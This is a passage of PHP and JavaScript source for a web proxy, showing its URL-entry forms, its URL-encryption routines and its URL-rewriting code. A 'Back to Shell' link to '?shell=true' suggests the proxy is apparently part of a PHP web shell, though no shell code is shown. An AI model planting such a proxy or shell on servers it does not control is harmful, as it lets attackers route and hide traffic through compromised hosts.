  796. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  797. <html xmlns="http://www.w3.org/1999/xhtml">
  798. <head>
  799. <title><?php echo($LABEL['TITLE']); ?></title>
  800. <meta http-equiv="content-type" content="text/html; charset=utf-8" />
  801. <link rel="stylesheet" type="text/css" href="<?php echo(THIS_SCRIPT); ?>?css_main" />
  802. <style>
  803.     input#proxy_submit_simple {
  804.         display: <?php echo(($OPTIONS['SIMPLE_MODE']?'inline':'none')); ?>;
  805.     }
  806.     label { cursor:pointer; }
  807. </style>
  808.  
  809. <noscript><style>
  810.     input#proxy_url { display: none; }
  811.     a#proxy_link_author { float: none; }
  812.     a#proxy_link_mode { display: none; }
  813.     td#proxy_links_td { text-align: center; }
  814. </style></noscript>
  815.  
  816. <script type="text/javascript"
  817.         src="<?php echo(THIS_SCRIPT); ?>?js_funcs_nowrap"></script>
  818.  
  819. <script type="text/javascript" language="javascript"><!--
  820. var advanced_mode=<?php echo(($OPTIONS['SIMPLE_MODE']?'false':'true')); ?>;
  821. //--></script>
  822.  
  823. </head>
  824.  
  825. <body>
  826.  
  827. <?php if( // main header include
  828.     !empty($CONFIG['INCLUDE_MAIN_HEADER']) &&
  829.     file_exists($CONFIG['INCLUDE_MAIN_HEADER'])
  830. ) include($CONFIG['INCLUDE_MAIN_HEADER']); ?>
  831.  
  832. <form method="post" id="proxy_form" onsubmit="return main_submit_code();"
  833.       action="<?php echo(THIS_SCRIPT); ?>">
  834. <input type="hidden" name="<?php echo(COOK_PREF); ?>_set_values" value="1" />
  835. <input type="hidden" id="proxy_url_hidden" disabled="disabled"
  836.        name="<?php echo(COOK_PREF); ?>" />
  837. <table id="proxy_table" cellpadding="0" cellspacing="4" border="0">
  838.  
  839. <tr>
  840.     <td colspan="2" id="proxy_title"><?php echo($LABEL['TITLE']); ?></td>
  841. </tr>
  842.  
  843. <tr>
  844.     <td><label for="proxy_url"><?php echo($LABEL['URL']); ?></label></td>
  845.     <td>
  846.         <input type="text" id="proxy_url" class="proxy_text"
  847.                value="<?php echo(ORIG_URL); ?>" />
  848.         <noscript>
  849.             <input type="text" id="proxy_url_noscript" class="proxy_text"
  850.                    name="<?php echo(COOK_PREF); ?>"
  851.                    value="<?php echo(ORIG_URL); ?>" />
  852.         </noscript>
  853.         <input type="submit" id="proxy_submit_simple" class="proxy_submit"
  854.                value="<?php echo($LABEL['SUBMIT_SIMPLE']); ?>" style="cursor:pointer;" />
  855.     </td>
  856. </tr>
  857.  
  858. <?php if(!$CONFIG['FORCE_DEFAULT_TUNNEL']){ ?>
  859. <tr name="advanced_mode">
  860.     <td><label for="proxy_tunnel_ip"><?php echo($LABEL['TUNNEL']); ?></label></td>
  861.     <td>
  862.         <input type="text" id="proxy_tunnel_ip" class="proxy_text"
  863.                name="<?php echo(COOK_PREF); ?>_tunnel_ip"
  864.                value="<?php echo($OPTIONS['TUNNEL_IP']); ?>" />
  865.         <input type="text" size="5" maxlength="5"
  866.                id="proxy_tunnel_port" class="proxy_text"
  867.                name="<?php echo(COOK_PREF); ?>_tunnel_port"
  868.                value="<?php echo($OPTIONS['TUNNEL_PORT']); ?>" />
  869.     </td>
  870. </tr>
  871. <?php } ?>
  872.  
  873. <?php if(!$CONFIG['FORCE_DEFAULT_USER_AGENT']){ ?>
  874. <tr name="advanced_mode">
  875.     <td><label for="proxy_useragent"><?php echo($LABEL['USER_AGENT']); ?></label></td>
  876.     <td>
  877.         <select name="<?php echo(COOK_PREF); ?>_useragent"
  878.                 id="proxy_useragent" class="proxy_select"
  879.                 onchange="useragent_change();">
  880.             <?php foreach($useragent_array as $useragent){ ?>
  881.             <option value="<?php echo($useragent[0]); ?>"
  882.              <?php if($OPTIONS['USER_AGENT']==$useragent[0])
  883.                 echo ' selected="selected"'; ?>
  884.             ><?php echo($useragent[1]); ?></option>
  885.             <?php } ?>
  886.         </select>
  887.     </td>
  888. </tr>
  889. <tr id="proxy_useragent_custom_tr" name="advanced_mode"
  890.     class="display_<?php echo(($OPTIONS['USER_AGENT']=='1'?'tr':'none')); ?>">
  891.     <td><?php echo($LABEL['USER_AGENT_CUSTOM']); ?></td>
  892.     <td>
  893.         <input type="text" id="proxy_useragent_custom" class="proxy_text"
  894.                name="<?php echo(COOK_PREF); ?>_useragent_custom"
  895.                value="<?php echo($OPTIONS['USER_AGENT']); ?>" />
  896.     </td>
  897. </tr>
  898. <?php } ?>
  899.  
  900. <?php
  901. foreach($checkbox_array as $checkbox){
  902.     if(!$CONFIG['FORCE_DEFAULT_'.$checkbox]){
  903.         $lowername=strtolower($checkbox);
  904. ?>
  905.  
  906. <tr name="advanced_mode">
  907.     <td>&nbsp;</td>
  908.     <td>
  909.         <input type="checkbox" id="proxy_<?php echo($lowername); ?>"
  910.                class="proxy_checkbox"
  911.                name="<?php echo(COOK_PREF); ?>_<?php echo($lowername); ?>"
  912.                <?php if($OPTIONS[$checkbox]) echo 'checked="checked"'; ?>
  913.         />&nbsp;<label for="proxy_<?php echo($lowername); ?>"><?php echo($LABEL[$checkbox]); ?></label>
  914.     </td>
  915. </tr>
  916. <?php }
  917. } ?>
  918.  
  919. <tr name="advanced_mode">
  920.     <td colspan="2">
  921.         <input type="submit" id="proxy_submit_main" class="proxy_submit"
  922.                value="<?php echo($LABEL['SUBMIT_MAIN']); ?>" style="cursor:pointer;" />
  923.     </td>
  924. </tr>
  925.  
  926. <tr>
  927.     <td colspan="2" id="proxy_links_td">
  928.         <a  class="proxy_link" href="<?php echo (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']=='on'?'https':'http')."://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']?>?shell=true">
  929.             Back to Shell
  930.         </a>
  931.         <a id="proxy_link_mode" class="proxy_link" href="#"
  932.            onclick="toggle_mode();">
  933.             <?php echo($OPTIONS['SIMPLE_MODE']?'Advanced':'Simple');
  934.             ?>&nbsp;Mode
  935.         </a>
  936.     </td>
  937. </tr>
  938.  
  939. </table>
  940. </form>
  941.  
  942. <? if( // main footer include
  943.     !empty($CONFIG['INCLUDE_MAIN_FOOTER']) &&
  944.     file_exists($CONFIG['INCLUDE_MAIN_FOOTER'])
  945. ) include($CONFIG['INCLUDE_MAIN_FOOTER']); ?>
  946.  
  947. <noscript>
  948. <br />
  949. <b>**</b> W.E.B.P.R.O.X.Y has detected that your browser does not have Javascript
  950. enabled. <b>**</b>
  951. <br />
  952. <b>**</b> W.E.B.P.R.O.X.Y requires Javascript in order to function to its full
  953. potential. It is highly recommended that you have Javascript enabled for
  954. privacy and security reasons. <b>**</b>
  955. </noscript>
  956.  
  957. </body>
  958.  
  959. </html>
  960.  
  961. <?php exit(); }
  962.  
  963. # }}}
  964.  
  965. # FRAMED PAGE WITH URL FORM {{{
  966.  
  967. if(
  968.     PAGETYPE_ID===PAGETYPE_FRAME_TOP &&
  969.     $OPTIONS['URL_FORM'] &&
  970.     ORIG_URL!=null
  971. ){ ?>
  972. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  973.  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  974.  
  975. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  976. <head>
  977. <title><?php echo($LABEL['TITLE']); ?></title>
  978. <style>
  979.  
  980. html, body {
  981.     font-family: bitstream vera sans, arial;
  982.     margin: 0px;
  983.     padding: 0px;
  984.     height: 100%;
  985.     overflow: hidden;
  986. }
  987.  
  988. form#url_form {
  989.     margin: 0px;
  990.     padding: 0px;
  991.     height: 100%;
  992. }
  993.  
  994. table#url_table {
  995.     margin: 0px;
  996.     padding: 0px;
  997.     height: 100%;
  998.     width: 100%;
  999. }
  1000.  
  1001. td#url_table_td_input {
  1002.     width: 100%;
  1003.     padding: 3px;
  1004.     padding-left: 10px;
  1005. }
  1006.  
  1007. td#url_table_td_iframe {
  1008.     margin: 0px;
  1009.     padding: 0px;
  1010.     height: 100%;
  1011. }
  1012.  
  1013. a#url_link {
  1014.     color: #000000;
  1015.     font-weight: bold;
  1016.     padding: 8px;
  1017.     text-decoration: none;
  1018. }
  1019.  
  1020. a#url_link:hover {
  1021.     color: #000000;
  1022.     font-weight: bold;
  1023.     padding: 8px;
  1024.     text-decoration: underline;
  1025. }
  1026.  
  1027. input {
  1028.     border: 1px solid #000000;
  1029.     color: #000000;
  1030. }
  1031.  
  1032. input#url_input {
  1033.     width: 100%;
  1034. }
  1035.  
  1036. input#url_submit {
  1037.     background-color: #FFFFFF;
  1038.     margin-right: 3px;
  1039. }
  1040.  
  1041. iframe#url_iframe {
  1042.     border: 0px;
  1043.     border-top: 1px solid #000000;
  1044.     width: 100%;
  1045.     height: 100%;
  1046. }
  1047.  
  1048. </style>
  1049.  
  1050. <script type="text/javascript">
  1051. <!--
  1052.  
  1053. <?php echo(COOK_PREF); ?>=true;
  1054.  
  1055. function submit_code(){
  1056. <?php if($OPTIONS['ENCRYPT_URLS']){ ?>
  1057.     document.forms[0].<?php echo(COOK_PREF); ?>.value=
  1058.         <?php echo(COOK_PREF); ?>_pe.proxenc(
  1059.             document.forms[0].<?php echo(COOK_PREF); ?>.value
  1060.         );
  1061. <?php } ?>
  1062.     location.href="?=&="+document.forms[0].<?php echo(COOK_PREF); ?>.value;
  1063.     return false;
  1064. }
  1065.  
  1066. function update_url(url){
  1067.     document.getElementById('url_input').value=url;
  1068.     document.getElementById('url_link').href="?=-&="+escape(url);
  1069. }
  1070.  
  1071. //-->
  1072. </script>
  1073.  
  1074. </head>
  1075. <body>
  1076.  
  1077. <? if( // URL form header include
  1078.     !empty($CONFIG['INCLUDE_URL_HEADER']) &&
  1079.     file_exists($CONFIG['INCLUDE_URL_HEADER'])
  1080. ) include($CONFIG['INCLUDE_URL_HEADER']); ?>
  1081.  
  1082. <form id="url_form" method="get" onsubmit="return submit_code();"
  1083.       action="<?php echo(THIS_SCRIPT); ?>">
  1084.  
  1085. <table cellspacing="0" cellpadding="0" id="url_table">
  1086. <tr>
  1087.     <td>
  1088.         <a href="<?php echo(THIS_SCRIPT.'?=-&='.OENC_URL); ?>"
  1089.            id="url_link">&lt;&lt;
  1090.         </a>
  1091.     </td>
  1092.     <td>&nbsp;</td>
  1093.     <td id="url_table_td_input">
  1094.         <input type="text" id="url_input" name="<?php echo(COOK_PREF); ?>"
  1095.                value="<?php echo(ORIG_URL); ?>" />
  1096.     </td>
  1097.     <td>&nbsp;</td>
  1098.     <td>
  1099.         <input type="submit" id="url_submit"
  1100.                value="<?php echo($LABEL['SUBMIT_SIMPLE']); ?>" style="cursor:pointer;" />
  1101.     </td>
  1102. </tr>
  1103.  
  1104. <tr>
  1105.     <td colspan="5" id="url_table_td_iframe">
  1106.         <iframe frameborder="0" id="url_iframe"
  1107.                 name="<?php echo(COOK_PREF); ?>_top"
  1108.                 src="<?php echo(THIS_SCRIPT.'?=_&='.OENC_URL); ?>"></iframe>
  1109.     </td>
  1110. </tr>
  1111.  
  1112. </table>
  1113.  
  1114. </form>
  1115.  
  1116. </body>
  1117. </html>
  1118. <?php exit(); }
  1119.  
  1120. # }}}
  1121.  
  1122. # PRE-JAVASCRIPT CONSTANTS & FUNCTIONS {{{
  1123. # these constants and functions must be defined before JS is output, but would
  1124. # be more readably located later.
  1125.  
  1126. #define('AURL_LOCK_REGEXP','(?:(?:javascript|mailto|about):|~|%7e)');
  1127. define('FRAME_LOCK_REGEXP','/^(?:(?:javascript|mailto|about):|#)/i');
  1128. define('AURL_LOCK_REGEXP',
  1129.     '/^(?:(?:javascript|mailto|about):|#|'.
  1130.     str_replace(array('/','.'),array('\/','\.'),addslashes(THIS_SCRIPT)).')/i');
  1131. define('URLREG','/^'.
  1132.     '(?:([a-z]*)?(?:\:?\/\/))'.      # proto
  1133.     '(?:([^\@\/]*)\@)?'.             # userpass
  1134.     '([^\/:\?\#\&]*)'.               # servername
  1135.     '(?:\:([0-9]+))?'.               # portval
  1136.     '(\/[^\&\?\#]*?)?'.              # path
  1137.     '([^\/\?\#\&]*(?:\&[^\?\#]*)?)'. # file
  1138.     '(?:\?([\s\S]*?))?'.             # query
  1139.     '(?:\#([\s\S]*))?'.              # label
  1140. '$/ix');
  1141.  
  1142. # }}}
  1143.  
  1144. # STATIC CACHING FUNCTION {{{
  1145. function static_cache(){
  1146.     # headers
  1147.     header('Cache-Control: must-revalidate');
  1148.     header('Pragma: cache');
  1149.  
  1150.     # last modified
  1151.     $lastmod=filemtime(THIS_FILE);
  1152.     $ifmod=(
  1153.         isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])?
  1154.         $_SERVER['HTTP_IF_MODIFIED_SINCE']:null
  1155.     );
  1156.  
  1157.     if(!empty($ifmod)){
  1158.         if(strpos($ifmod,';'))
  1159.             $ifmod=substr($ifmod,0,strpos($ifmod,';'));
  1160.         $ifmod=strtotime($ifmod);
  1161.  
  1162.         if($ifmod==$lastmod){
  1163.             header('HTTP/1.1: 304 Not Modified');
  1164.             exit();
  1165.         }
  1166.     }
  1167.     header('Last-Modified: '.gmdate('D, d M Y H:i:s',$lastmod).' GMT');
  1168. }
  1169.  
  1170. # }}}
  1171.  
  1172. # CSS STATIC CONTENT {{{
  1173.  
  1174. # CSS MAIN {{{
  1175.  
  1176. if(QUERY_STRING=='css_main'){
  1177.     header('Content-Type: text/css');
  1178.     static_cache();
  1179.  
  1180.     foreach($STYLE as $id=>$style){
  1181.         echo "{$id} {{$style}}\n\n";
  1182.     }
  1183.  
  1184.     echo ".display_none { display: none !important; }\n";
  1185.     echo ".display_tr { display: table-row !important; }\n";
  1186.  
  1187.     exit();
  1188. }
  1189.  
  1190. # }}}
  1191.  
  1192. # CSS URL FRAME {{{
  1193.  
  1194. if(QUERY_STRING=='css_url_frame'){
  1195.     header('Content-Type: text/css');
  1196.     static_cache();
  1197.  
  1198.     foreach($STYLE_URL_FORM as $id=>$style){
  1199.         echo "{$id} {{$style}}\n\n";
  1200.     }
  1201.  
  1202.     exit();
  1203. }
  1204.  
  1205. # }}}
  1206.  
  1207. # }}}
  1208.  
  1209. # JAVASCRIPT STATIC CONTENT/FUNCTIONS {{{
  1210.  
  1211. if(
  1212.     QUERY_STRING=='js_funcs' ||
  1213.     QUERY_STRING=='js_funcs_framed' ||
  1214.     QUERY_STRING=='js_funcs_nowrap'
  1215. ){
  1216.  
  1217.     if(QUERY_STRING=='js_funcs_nowrap')
  1218.         $do_wrap=false;
  1219.     else $do_wrap=true;
  1220.  
  1221.     static_cache();
  1222.  
  1223. ?>//<script type="text/javascript">
  1224.  
  1225. // JAVASCRIPT FUNCS: FUNCTIONS FOR NON-WRAPPED PAGES {{{
  1226.  
  1227. <?php if(!$do_wrap){ ?>
  1228.  
  1229. function useragent_change(){
  1230.     var ua=document.getElementById('proxy_useragent');
  1231.     var uac=document.getElementById('proxy_useragent_custom');
  1232.     var uacTR=document.getElementById('proxy_useragent_custom_tr');
  1233.  
  1234.     if(parseInt(ua.value)==1) uacTR.className="display_tr";
  1235.     else uacTR.className="display_none";
  1236. }
  1237.  
  1238. function toggle_mode(){
  1239.     var url=document.getElementById('proxy_url');
  1240.     var simpBut=document.getElementById('proxy_submit_simple');
  1241.     var modeLink=document.getElementById('proxy_link_mode');
  1242.     var advTR=document.getElementsByName('advanced_mode');
  1243.  
  1244.     for(var i=0; i<advTR.length; i++){
  1245.         if(advanced_mode) advTR[i].style.display="none";
  1246.         else advTR[i].style.display="table-row";
  1247.     }
  1248.  
  1249.     if(advanced_mode){
  1250.         url.style.width="<?php echo($CONFIG['SIMPLE_MODE_URLWIDTH']) ?>";
  1251.         simpBut.style.display="inline";
  1252.         modeLink.innerHTML="Advanced&nbsp;Mode";
  1253.     }
  1254.  
  1255.     else{
  1256.         url.style.width="100%";
  1257.         simpBut.style.display="none";
  1258.         modeLink.innerHTML="Simple&nbsp;Mode";
  1259.     }
  1260.  
  1261.     advanced_mode=!advanced_mode;
  1262. }
  1263.  
  1264. function main_submit_code(){
  1265.     var dgEBI=function(id){ return document.getElementById(id); }
  1266.     dgEBI('proxy_url_hidden').disabled=false;
  1267.     if(dgEBI('proxy_encrypt_urls').checked)
  1268.         dgEBI('proxy_url_hidden').value=
  1269.             <?php echo(COOK_PREF); ?>_pe.proxenc(dgEBI('proxy_url').value);
  1270.     else dgEBI('proxy_url_hidden').value=dgEBI('proxy_url').value;
  1271.     return true;
  1272. }
  1273.  
  1274. <?php } ?>
  1275.  
  1276. // }}}
  1277.  
  1278. // JAVASCRIPT FUNCS: CRYPTOGRAPHIC FUNCTIONS {{{
  1279.  
  1280. <?php echo(COOK_PREF); ?>_pe={
  1281.  
  1282. expon:function(a,b){
  1283.     var num;
  1284.     if(b==0) return 1;
  1285.     num=a; b--;
  1286.     while(b>0){ num*=a; b--; }
  1287.     return num;
  1288. },
  1289.  
  1290. dectobin:function(){
  1291.     var dec=arguments[0],chars=arguments[1]||8,binrep="";
  1292.     for(j=chars-1;j>=0;j--){
  1293.         if(dec>=this.expon(2,j)){
  1294.             binrep+="1"; dec-=this.expon(2,j);
  1295.         }
  1296.         else binrep+="0";
  1297.     }
  1298.     return binrep;
  1299. },
  1300.  
  1301. bintodec:function(){
  1302.     var bin=arguments[0],chars=arguments[1]||8,dec=0;
  1303.     for(var j=0;j<chars;j++)
  1304.         if(bin.substring(j,j+1)=="1") dec+=this.expon(2,chars-1-j);
  1305.     return dec;
  1306. },
  1307.  
  1308. b64e:function(string){
  1309.     var encstr="",binrep="";
  1310.     var charbin,charnum;
  1311.     for(var i=0;i<string.length;i++){
  1312.         charnum=string.charCodeAt(i);
  1313.         binrep+=this.dectobin(charnum);
  1314.     }
  1315.     while(binrep.length%6) binrep+="00";
  1316.     for(var i=1;i*6<=binrep.length;i++){
  1317.         charbin=binrep.substring((i-1)*6,i*6);
  1318.         charnum=this.bintodec(charbin,6);
  1319.         if(charnum<=25) charnum+=65;
  1320.         else if(charnum<=51) charnum+=71;
  1321.         else if(charnum<=61) charnum-=4;
  1322.         else if(charnum==62) charnum=43;
  1323.         else if(charnum==63) charnum=47;
  1324.         encstr+=String.fromCharCode(charnum);
  1325.     }
  1326.     while(encstr.length%8) encstr+="=";
  1327.     return encstr;
  1328. },
  1329.  
  1330. proxenc:function(url){
  1331.     var new_url="";
  1332.     var charnum;
  1333.     if(url.substring(0,1)=="~" || url.substring(0,3).toLowerCase()=="%7e")
  1334.         return url;
  1335.     url=encodeURIComponent(url);
  1336.     var sess_pref="<?php echo(SESS_PREF); ?>";
  1337.     for(i=0;i<url.length;i++){
  1338.         charnum=url.charCodeAt(i);
  1339.         charnum+=sess_pref.charCodeAt(i%sess_pref.length);
  1340.         while(charnum>126) charnum-=94;
  1341.         new_url+=String.fromCharCode(charnum);
  1342.     }
  1343.     return "~"+encodeURIComponent(this.b64e(new_url));
  1344. },
  1345.  
  1346. b64d:function(str){
  1347.     var binrep="",decstr="";
  1348.     var charnum,charbin;
  1349.     str=str.replace(/[=]*$/,"");
  1350.     for(var i=0;i<str.length;i++){
  1351.         charnum=str.charCodeAt(i);
  1352.         if(charnum>=97) charnum-=71;
  1353.         else if(charnum>=65) charnum-=65;
  1354.         else if(charnum>=48) charnum+=4;
  1355.         else if(charnum==43) charnum=62;
  1356.         else if(charnum==47) charnum=63;
  1357.         binrep+=this.dectobin(charnum,6);
  1358.     }
  1359.     for(var i=0;i+8<binrep.length;i+=8){
  1360.         charbin=binrep.substr(i,8);
  1361.         decstr+=String.fromCharCode(this.bintodec(charbin));
  1362.     }
  1363.     return decstr;
  1364. },
  1365.  
  1366. proxdec:function(url){
  1367.     var new_url,charnum;
  1368.     if(url.substr(0,1)!='~' && url.substr(0,3).toLowerCase()!='%7e') return url;
  1369.     while(url.substr(0,1)=='~' || url.substr(0,3).toLowerCase()=='%7e'){
  1370.         url=url.substr(1,url.length-1);
  1371.         url=this.b64d(url);
  1372.         new_url="";
  1373.         for(i=0;i<url.length;i++){
  1374.             charnum=url.charCodeAt(i);
  1375.             charnum-="<?php echo(SESS_PREF); ?>".charCodeAt(
  1376.                 i%"<?php echo(SESS_PREF); ?>".length);
  1377.             while(charnum<32) charnum+=94;
  1378.             new_url+=String.fromCharCode(charnum);
  1379.         }
  1380.         url=new_url;
  1381.     }
  1382.     return decodeURIComponent(url); // urldecode()
  1383. },
  1384.  
  1385. }
  1386.  
  1387. // }}}
  1388.  
  1389. // JAVASCRIPT FUNCS: COOK_PREF OBJECT {{{
  1390.  
  1391. <?php if($do_wrap){ ?>
  1392.  
  1393. <?php echo(COOK_PREF); ?>={
  1394.  
  1395. parse_attrs:{
  1396.     'action':{0:'form'},
  1397.     'backgroundImage':{0:'[object CSSStyleDeclaration]'},
  1398.     'baseURI':{0:''},
  1399.     'codebase':{0:''},
  1400.     'href':{0:location,1:'a',2:'link',3:'base'},
  1401.     'location':{0:document},
  1402.     'pluginspage':{0:''},
  1403.     'referrer':{0:document},
  1404.     'src':{0:'img',1:'script'},
  1405. },
  1406.  
  1407. URLREG:<?php echo(substr(URLREG,0,strlen(URLREG)-1)); ?>,
  1408. THIS_SCRIPT:"<?php echo(THIS_SCRIPT); ?>",
  1409. COOK_PREF:"<?php echo(COOK_PREF); ?>",
  1410. PAGE_FRAMED:<?php echo(PAGE_FRAMED?'true':'false'); ?>,
  1411. pe:<?php echo(COOK_PREF); ?>_pe,
  1412. gen_curr_urlobj:function(){ this.curr_urlobj=new this.aurl(this.CURR_URL); },
  1413.  
  1414. getCookieArr:function(){ return document.cookie.split("; "); },
  1415.  
  1416. aurl:function(url,topurl){
  1417.     this.URLREG=<?php echo(COOK_PREF); ?>.URLREG;
  1418.     this.THIS_SCRIPT=<?php echo(COOK_PREF); ?>.THIS_SCRIPT;
  1419.     this.ENCRYPT_URLS=<?php echo(COOK_PREF); ?>.ENCRYPT_URLS;
  1420.  
  1421.     this.trim=function(str){ return str.replace(/^\s*([\s\S]*?)\s*$/,"$1"); }
  1422.  
  1423.     this.get_fieldreq=function(fieldno,value){
  1424.         var fieldreqs=new Array();
  1425.         fieldreqs[2]="://"+(value!=""?value+"@":"");
  1426.         fieldreqs[4]=(value!="" && parseInt(value)!=80?":"+parseInt(value):"");
  1427.         fieldreqs[7]=(value!=""?"?"+value:"");
  1428.         fieldreqs[8]=(value!=""?"#"+value:"");
  1429.         if(fieldreqs[fieldno]!=undefined) return value;
  1430.         // return (value!=""?null:value);
  1431.         else return fieldreqs[fieldno];
  1432.     }
  1433.  
  1434.     this.set_proto=function(proto){
  1435.         if(proto==undefined) proto="http";
  1436.         if(this.locked) return;
  1437.         this.proto=proto;
  1438.     }
  1439.     this.get_proto=function(){ return this.proto; }
  1440.  
  1441.     this.get_userpass=function(){ return this.userpass; }
  1442.     this.set_userpass=function(userpass){
  1443.         if(userpass==undefined) userpass="";
  1444.         this.userpass=userpass;
  1445.     }
  1446.     this.get_servername=function(){ return this.servername; }
  1447.     this.set_servername=function(servername){
  1448.         if(servername==undefined) servername="";
  1449.         this.servername=servername;
  1450.     }
  1451.     this.get_portval=function(){
  1452.         return (
  1453.             this.portval==""?
  1454.             (this.get_proto()=="https"?"443":"80"):
  1455.             this.portval
  1456.         );
  1457.     }
  1458.     this.set_portval=function(port){
  1459.         if(port==undefined) port="";
  1460.         this.portval=((parseInt(port)!=80)?port:"").toString();
  1461.     }
  1462.     this.get_path=function(){ // ***
  1463.         if(this.path==null)
  1464.             return null;
  1465.         if(this.path.indexOf("/../")!=-1)
  1466.             this.path=this.path.replace(/(?:\/[^\/]+){0,1}\/\.\.\//g,"/");
  1467.         if(this.path.indexOf("/./")!=-1)
  1468.             while((path=this.path.replace("/./","/")) && path!=this.path)
  1469.                 this.path=path;
  1470.         return this.path;
  1471.     }
  1472.     this.set_path=function(path){
  1473.         if(path==undefined) path="/"; this.path=path;
  1474.     }
  1475.     this.get_file=function(){ return this.file; }
  1476.     this.set_file=function(file){ if(file==undefined) file=""; this.file=file; }
  1477.     this.get_query=function(){ return this.query; }
  1478.     this.set_query=function(query){
  1479.         if(query==undefined) query="";
  1480.         this.query=query;
  1481.     }
  1482.     this.get_label=function(){ return this.label; }
  1483.     this.set_label=function(label){
  1484.         if(label==undefined) label="";
  1485.         this.label=label;
  1486.     }
  1487.  
  1488.     this.get_url=function(){
  1489.         var withlabel=true,withquery=true;
  1490.         if(arguments.length>0)
  1491.             withlabel=arguments[0];
  1492.         if(arguments.length>1)
  1493.             withquery=arguments[1];
  1494.         if(this.locked) return this.url;
  1495.         return this.get_proto()+"://"+
  1496.             (this.get_userpass()==""?"":this.get_userpass()+"@")+
  1497.             this.get_servername()+
  1498.             (
  1499.                 this.get_portval()==undefined || this.get_portval()?
  1500.                 "":
  1501.                 ":"+parseInt(this.get_portval())
  1502.             )+
  1503.             this.get_path()+this.get_file()+
  1504.             (!withquery || this.get_query()==""?"":"?"+this.get_query())+
  1505.             (!withlabel || this.get_label()==""?"":"#"+this.get_label());
  1506.     }
  1507.  
  1508.     this.surrogafy=function(){
  1509.         var url=this.get_url();
  1510.         if(
  1511.             this.locked ||
  1512.             this.get_proto()+
  1513.             this.get_fieldreq(2,this.get_userpass())+
  1514.             this.get_servername()+
  1515.             this.get_path()+
  1516.             this.get_file()
  1517.              ==
  1518.             this.THIS_SCRIPT
  1519.         ) return url;
  1520.         var label=this.get_label();
  1521.         this.set_label();
  1522.         if(this.ENCRYPT_URLS && !this.locked)
  1523.             url=<?php echo(COOK_PREF); ?>.pe.proxenc(url);
  1524.         // urlencode()d
  1525.         //url=this.THIS_SCRIPT+"?="+(!this.ENCRYPT_URLS?escape(url):url);
  1526.         url=this.THIS_SCRIPT+"?="+url;
  1527.         this.set_label(label);
  1528.         return url;
  1529.     }
  1530.  
  1531.     if(url.length><?php echo($CONFIG['MAXIMUM_URL_LENGTH'])?>)
  1532.         this.url="";
  1533.     else{
  1534.         // parse like PHP does for &#num; HTML entities? // TODO?
  1535.         //this.url=preg_replace("/&#([0-9]+);/e","chr(\\1)");
  1536.         this.url=this.trim(url.
  1537.             replace("&amp;","&").
  1538.             replace("\r","").
  1539.             replace("\n","")
  1540.         );
  1541.     }
  1542.  
  1543.     this.topurl=topurl;
  1544.     if(this.url.match(<?php echo(AURL_LOCK_REGEXP); ?>)!=null)
  1545.         this.locked=true;
  1546.     else if(this.get_url(false,false)=="<?php echo(THIS_SCRIPT); ?>")
  1547.         this.locked=true;
  1548.     else
  1549.         this.locked=false;
  1550.  
  1551.     if(!this.locked){
  1552.         var urlwasvalid=true;
  1553.         if(!this.url.match(this.URLREG)){
  1554.             urlwasvalid=false;
  1555.             if(this.topurl==undefined)
  1556.                 this.url=
  1557.                     "http://"+
  1558.                     (
  1559.                         this.url.charAt(0)==":" || this.url.charAt(0)=="/"?
  1560.                         this.url.substring(1):
  1561.                         this.url
  1562.                     )+
  1563.                     (this.url.indexOf("/")!=-1?"":"/");
  1564.             else{
  1565.                 var newurl=
  1566.                     this.topurl.get_proto()+
  1567.                     "://"+
  1568.                     this.get_fieldreq(2,this.topurl.get_userpass())+
  1569.                     this.topurl.get_servername()+
  1570.                     (
  1571.                         this.topurl.get_portval()!=80 && (
  1572.                             this.topurl.get_proto()=="https"?
  1573.                             this.topurl.get_portval()!=443:true
  1574.                         )?
  1575.                         ":"+this.topurl.get_portval():
  1576.                         ""
  1577.                     );
  1578.                 if(this.url.substring(0,1)!="/") newurl+=this.topurl.get_path();
  1579.                 this.url=newurl+this.url;
  1580.             }
  1581.         }
  1582.  
  1583.         this.set_proto(
  1584.             (
  1585.                 urlwasvalid || this.topurl==undefined?
  1586.                 this.url.replace(/^([^:]+).*$/,"\$1"):
  1587.                 this.topurl.get_proto()
  1588.             )
  1589.         );
  1590.         this.set_userpass(this.url.replace(this.URLREG,"\$2"));
  1591.         this.set_servername(this.url.replace(this.URLREG,"\$3"));
  1592.         this.set_portval(this.url.replace(this.URLREG,"\$4"));
  1593.         this.set_path(this.url.replace(this.URLREG,"\$5"));
  1594.         this.set_file(this.url.replace(this.URLREG,"\$6"));
  1595.         this.set_query(this.url.replace(this.URLREG,"\$7"));
  1596.         this.set_label(this.url.replace(this.URLREG,"\$8"));
  1597.     }
  1598.  
  1599.     //if(!this.locked && !this.url.match(this.URLREG)) havok(7,this.url); //*
  1600. },
  1601.  
  1602. surrogafy_url:function(url,topurl,addproxy){
  1603.     url=url.toString();
  1604.     if(!url.substring) return;
  1605.     if(addproxy==undefined) addproxy=true;
  1606.     var urlquote="";
  1607.     if(
  1608.         (url.substring(0,1)=="\"" || url.substring(0,1)=="'") &&
  1609.         url.substring(0,1)==url.substring(url.length-1,url.length)
  1610.     ){
  1611.         urlquote=url.substring(0,1);
  1612.         url=url.substring(1,url.length-1);
  1613.     }
  1614.     if(topurl==undefined) topurl=this.curr_urlobj;
  1615.     var urlobj=new this.aurl(url,topurl);
  1616.     var new_url=(addproxy?urlobj.surrogafy():urlobj.get_url());
  1617.     if(urlquote!="") new_url=urlquote+new_url+urlquote;
  1618.     return new_url;
  1619. },
  1620.  
  1621. surrogafy_url_toobj:function(url,topurl,addproxy){
  1622.     url=url.toString();
  1623.     if(!url.substring) return;
  1624.     if(addproxy==undefined) addproxy=true;
  1625.     if(
  1626.         (url.substring(0,1)=="\"" || url.substring(0,1)=="'") &&
  1627.         url.substring(0,1)==url.substring(url.length-1,url.length)
  1628.     ) url=url.substring(1,url.length-1);
  1629.     if(topurl==undefined) topurl=this.curr_urlobj;
  1630.     return new this.aurl(url,topurl);
  1631. },
  1632.  
  1633. de_surrogafy_url:function(url){
  1634.     if(url==undefined) return "";
  1635.     url=url.toString();
  1636.     if(
